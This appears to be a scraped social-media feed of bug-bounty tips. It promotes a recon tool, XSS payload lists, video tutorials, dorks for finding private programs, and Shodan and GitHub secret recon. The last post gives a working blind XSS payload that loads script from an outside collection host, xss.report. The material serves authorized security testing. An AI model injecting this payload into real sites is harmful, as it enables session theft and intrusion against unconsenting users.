Bhagirath Saxena 🇮🇳

An automated recon tool for asset discovery and vulnerability scanning using open-source tools. Supports XSS, SQLi, LFI, RCE, IIS, Open Redirect, Swagger UI, .git exposures and more. github.com/rix4uni/GarudR… #bugbounty #bugbountytips #bugbountytip

You can try these if alert, confirm, prompt is blocked Check out all list: github.com/rix4uni/xss-pa… #bugbounty #bugbountytips #bugbountytip

Day3 - How to Detect Reflected XSS (Step by Step): - GLink: lnkd.in/ge9i-S6t - YTLink: lnkd.in/gZEgsUex Timestamps: 00:00:00 — Start 00:00:05 — How to Detect Reflected XSS linkedin.com/feed/update/ur… #bugbounty #bugbountytips #bugbountytip

How you can Create advanced XSS payload like these: linkedin.com/feed/update/ur… #bugbounty #bugbountytips #bugbountytip

Day18 - Live Bug Bounty Hunting on Google - wiz.io: - GLink: lnkd.in/gH-6gGih - YTLink: lnkd.in/gkGutWkU Timestamps: 00:00:00 — Start 00:00:15 — Live Bug Bounty Hunting on Google linkedin.com/feed/update/ur… #bugbounty #bugbountytips #bugbountytip

Currently, lnkd.in/gaXT4acG has only 31 self-hosted programs. Anyone can add programs at: lnkd.in/gVWr7VQA You can also add to this file if you don't want to do Google dorking: lnkd.in/gVYuukb9 #bugbounty #bugbountytips #bugbountytip

Dork for Finding BugCrowd Private Bug Bounty Programs Dork: intext:"Powered by Bugcrowd" -site:bugcrowd.com #bugbounty #bugbountytips #bugbountytip

How To Find HackerOne Private Programs lnkd.in/gRQKESMg Get all program links shown in video: lnkd.in/g9c5fB9Q #bugbounty #bugbountytips #bugbountytip

Day17 - SSL Certificate Recon on Shodan (Pro Tips): 00:16:51 — DotGit Recon 01:01:32 — Find Critical Bugs Using Shodan Recon 01:37:30 — Find Jenkins Critical Issues Within Minutes 01:56:44 — Automate Shodan Recon linkedin.com/feed/update/ur… #bugbounty #bugbountytips #bugbountytip

Day16 - How to Find Hidden Secrets on Github: - YTLink: youtu.be/-Ovd4ThwQg0 Timestamps: 00:03:37 — Why Do Github Recon? 00:44:25 — Find Hidden Secrets Github using gitrepoenum 03:33:16 — Run Github Actions on nucleihubquery #bugbounty #bugbountytips #bugbountytip

Day15 - Live Recon on IIS Windows Server - Part-3: - GLink: github.com/KrazePlanet/Kr… - YTLink: youtu.be/jGF6guVYCHk Timestamps - 00:00:00 — Start - 00:04:40 — Automatically Guess IIS Short filename #bugbounty #bugbountytips #bugbountytip

Day14 - Live Recon & Hunting on SelfHosted Program - Link: youtu.be/R67ZXdnz6w4 Timestamps: 00:00:00 — Start 00:00:25 — Live Hunting on SelfHosted Program #bugbounty #bugbountytips #bugbountytip

Created SelfHosted - Bug Bounty Programs Website Link: programs.krazeplanet.com Get detailed info about scope or you can add new programs: github.com/KrazePlanet/Kr… #bugbounty #bugbountytips #bugbountytip

Day13 - Mass Hunting CVE using nuclei & GarudRecon Workflow: - Link: youtu.be/qApDuQkBVgY Timestamps: 00:27:25 — Create Detailed nuclei template 00:27:25 — Get new CVE using cvemapping 01:21:16 — How to Find CVE in minutes-google dorking #bugbounty #bugbountytips #bugbountytip

Day12 - Reflected XSS Automation: - Link: youtu.be/DeWsuYi8cHE Timestamps: 00:00:00 — Start 00:06:53 — XSS lab solve 00:31:00 — Automate boring XSS recon using xssrecon 02:39:53 — GarudRecon workflow for mass RXSS #bugbounty #bugbountytips #bugbountytip

Day11: youtu.be/hRAaCff5kyY - Directory fuzzing with special tricks - TechBased Directory fuzzing on 403, 302, 404, 200 - Fuzzing with nuclei tags custom wordlists - Create custom wordlists - Created nuclei tags custom wordlists #bugbounty #bugbountytips #bugbountytip

Day9: youtu.be/KPHZ7p4Snag # Topics Done: - How to find Self-Hosted Programs Using google dorking - Create custom nuclei templates - Create custom GarudRecon workflows #bugbounty #bugbountytips #bugbountytip

Hello Hackerone, Please solve this issue. @Hacker0x01

An automated recon tool for asset discovery and vulnerability scanning using open-source tools. Supports XSS, SQLi, LFI, RCE, IIS, Open Redirect, Swagger UI. Added v0.0.8 with some installation improvement github.com/rix4uni/GarudR… #bugbounty #bugbountytips #bugbountytip

GarudRecon v0.0.7 has been released with `workflow` feature github.com/rix4uni/GarudR… #bugbounty #bugbountytips #bugbountytip

Bug: Blind XSS Tip: watch this @NahamSec video youtube.com/watch?v=MjtMLb… Payload: ';"/></textarea></script><script/src=//xss.report/c/username></script> Thank You: @NahamSec @ReebootToInit5 bhai 1 euro 🤣 #bugbountytips #bugbountytip